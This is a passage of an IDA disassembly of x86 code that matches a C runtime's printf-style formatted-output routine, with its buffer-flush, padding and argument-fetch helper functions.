		mov	eax, offset dword_43BC20

loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch

loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------

loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------

loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------

loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh

loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172AE+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------

loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------

loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax

loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, ds:byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump

loc_419EAD:				; DATA XREF: _0:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: _0:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: _0:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax

loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------

loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: _0:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: _0:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: _0:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx

loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: _0:off_41A559o
		mov	ecx, ds:off_4395A0 ; jumptable 00419EA6	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: _0:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8

loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh

loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, ds:off_43959C
		mov	[ebp+var_8], ecx

loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------

loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------

loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8

loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------

loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, ds:off_439598
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------

loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1

loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_43B900
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_43B90C
		pop	ecx

loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_43B904
		pop	ecx

loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi

loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------

loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, ds:off_439598
		mov	[ebp+var_8], ecx

loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx

loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------

loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8

loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7

loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------

loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h

loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah

loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax

loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx

loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C

loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------

loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0

loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------

loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0

loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417

loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]

loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------

loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442

loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax

loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h

loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1

loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h

loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------

loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h

loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64

loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------

loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]

loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF

loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5

loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


